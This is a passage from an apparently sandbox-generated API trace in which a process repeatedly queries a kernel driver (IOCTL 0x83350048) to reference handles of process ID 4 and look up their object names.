lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.618] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.618] PsAcquireProcessExitSynchronization () returned 0x0 [0110.618] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.618] ObReferenceObjectByHandle (in: Handle=0xffffffff80000104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002af4050, HandleInformation=0x0) returned 0x0 [0110.618] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.618] PsReleaseProcessExitSynchronization () returned 0x2 [0110.618] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.618] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0110.618] ObfDereferenceObject (Object=0xfffffa8002af4050) returned 0x1 [0110.618] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.618] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.618] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.618] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0110.618] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.618] PsAcquireProcessExitSynchronization () returned 0x0 [0110.618] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.618] ObReferenceObjectByHandle (in: Handle=0xffffffff80000108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002ff0b10, HandleInformation=0x0) returned 0x0 [0110.618] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.618] PsReleaseProcessExitSynchronization () returned 0x2 [0110.619] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.619] ObQueryNameString (in: Object=0xfffffa8002ff0b10, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.619] ObfDereferenceObject (Object=0xfffffa8002ff0b10) returned 0x1 [0110.619] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.619] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.619] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.619] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.619] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.619] PsAcquireProcessExitSynchronization () returned 0x0 [0110.619] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.619] ObReferenceObjectByHandle (in: Handle=0xffffffff8000010c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002b8e9e0, HandleInformation=0x0) returned 0x0 [0110.619] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.619] PsReleaseProcessExitSynchronization () returned 0x2 [0110.619] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.619] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590508) returned 0x0 [0110.619] ObfDereferenceObject (Object=0xfffffa8002b8e9e0) returned 0x1 [0110.619] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.619] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.619] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.619] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.619] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.619] PsAcquireProcessExitSynchronization () returned 0x0 [0110.619] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.619] ObReferenceObjectByHandle (in: Handle=0xffffffff80000120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80044a7050, HandleInformation=0x0) returned 0x0 [0110.619] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.619] PsReleaseProcessExitSynchronization () returned 0x2 [0110.619] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.619] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.619] ObfDereferenceObject (Object=0xfffffa80044a7050) returned 0x1 [0110.619] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.619] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.620] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.620] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.620] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.620] PsAcquireProcessExitSynchronization () returned 0x0 [0110.620] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.620] ObReferenceObjectByHandle (in: Handle=0xffffffff80000124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80077ff050, HandleInformation=0x0) returned 0x0 [0110.620] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.620] PsReleaseProcessExitSynchronization () returned 0x2 [0110.620] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.620] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.620] ObfDereferenceObject (Object=0xfffffa80077ff050) returned 0x1 [0110.620] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.620] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.620] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.620] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.620] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.620] PsAcquireProcessExitSynchronization () returned 0x0 [0110.620] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.620] ObReferenceObjectByHandle (in: Handle=0xffffffff80000128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80077fc050, HandleInformation=0x0) returned 0x0 [0110.620] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.621] PsReleaseProcessExitSynchronization () returned 0x2 [0110.621] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.621] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.621] ObfDereferenceObject (Object=0xfffffa80077fc050) returned 0x1 [0110.621] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.621] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.621] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.621] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.621] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.621] PsAcquireProcessExitSynchronization () returned 0x0 [0110.621] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.621] ObReferenceObjectByHandle (in: Handle=0xffffffff8000012c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8004871f20, HandleInformation=0x0) returned 0x0 [0110.621] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.621] PsReleaseProcessExitSynchronization () returned 0x2 [0110.621] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.621] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.621] ObfDereferenceObject (Object=0xfffffa8004871f20) returned 0x1 [0110.621] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.621] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.621] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.621] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.621] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.621] PsAcquireProcessExitSynchronization () returned 0x0 [0110.621] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.621] ObReferenceObjectByHandle (in: Handle=0xffffffff80000130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8004870050, HandleInformation=0x0) returned 0x0 [0110.622] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.622] PsReleaseProcessExitSynchronization () returned 0x2 [0110.622] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.622] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.622] ObfDereferenceObject (Object=0xfffffa8004870050) returned 0x1 [0110.622] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.622] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.622] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.622] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.622] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.622] PsAcquireProcessExitSynchronization () returned 0x0 [0110.622] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.622] ObReferenceObjectByHandle (in: Handle=0xffffffff80000134, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8007ffc050, HandleInformation=0x0) returned 0x0 [0110.622] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.622] PsReleaseProcessExitSynchronization () returned 0x2 [0110.622] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.622] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.622] ObfDereferenceObject (Object=0xfffffa8007ffc050) returned 0x1 [0110.622] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.622] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.622] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.622] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.622] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.622] PsAcquireProcessExitSynchronization () returned 0x0 [0110.622] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.622] ObReferenceObjectByHandle (in: Handle=0xffffffff80000138, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8008fae050, HandleInformation=0x0) returned 0x0 [0110.622] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.622] PsReleaseProcessExitSynchronization () returned 0x2 [0110.622] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.622] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.622] ObfDereferenceObject (Object=0xfffffa8008fae050) returned 0x1 [0110.622] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.623] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.623] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.623] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.623] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.623] PsAcquireProcessExitSynchronization () returned 0x0 [0110.623] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.623] ObReferenceObjectByHandle (in: Handle=0xffffffff8000013c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8006dfd050, HandleInformation=0x0) returned 0x0 [0110.623] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.623] PsReleaseProcessExitSynchronization () returned 0x2 [0110.623] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.623] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.623] ObfDereferenceObject (Object=0xfffffa8006dfd050) returned 0x1 [0110.623] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.623] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.623] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.623] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0110.623] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.623] PsAcquireProcessExitSynchronization () returned 0x0 [0110.623] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.623] ObReferenceObjectByHandle (in: Handle=0xffffffff80000140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002910f20, HandleInformation=0x0) returned 0x0 [0110.623] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.623] PsReleaseProcessExitSynchronization () returned 0x2 [0110.623] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.623] ObQueryNameString (in: Object=0xfffffa8002910f20, ObjectNameInfo=0xfffffa8003913044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8003913044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.623] ObfDereferenceObject (Object=0xfffffa8002910f20) returned 0x1 [0110.623] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.623] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.623] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.623] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0110.624] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.624] PsAcquireProcessExitSynchronization () returned 0x0 [0110.624] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.624] ObReferenceObjectByHandle (in: Handle=0xffffffff80000148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003be2f20, HandleInformation=0x0) returned 0x0 [0110.624] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.624] PsReleaseProcessExitSynchronization () returned 0x2 [0110.624] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.624] ObQueryNameString (in: Object=0xfffffa8003be2f20, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.624] ObfDereferenceObject (Object=0xfffffa8003be2f20) returned 0x1 [0110.624] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.624] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.624] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.624] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0110.624] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.624] PsAcquireProcessExitSynchronization () returned 0x0 [0110.624] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.624] ObReferenceObjectByHandle (in: Handle=0xffffffff80000154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80043f1b50, HandleInformation=0x0) returned 0x0 [0110.624] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.624] PsReleaseProcessExitSynchronization () returned 0x2 [0110.624] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.624] ObQueryNameString (in: Object=0xfffffa80043f1b50, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.624] ObfDereferenceObject (Object=0xfffffa80043f1b50) returned 0x1 [0110.624] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.624] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.624] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.624] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0110.624] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.624] PsAcquireProcessExitSynchronization () returned 0x0 [0110.624] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.624] ObReferenceObjectByHandle (in: Handle=0xffffffff80000158, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80067fad00, HandleInformation=0x0) returned 0x0 [0110.625] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.625] PsReleaseProcessExitSynchronization () returned 0x2 [0110.625] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.625] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.625] ObfDereferenceObject (Object=0xfffffa80067fad00) returned 0x1 [0110.625] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.625] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.625] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.625] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0110.625] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.625] PsAcquireProcessExitSynchronization () returned 0x0 [0110.625] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.625] ObReferenceObjectByHandle (in: Handle=0xffffffff8000015c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: 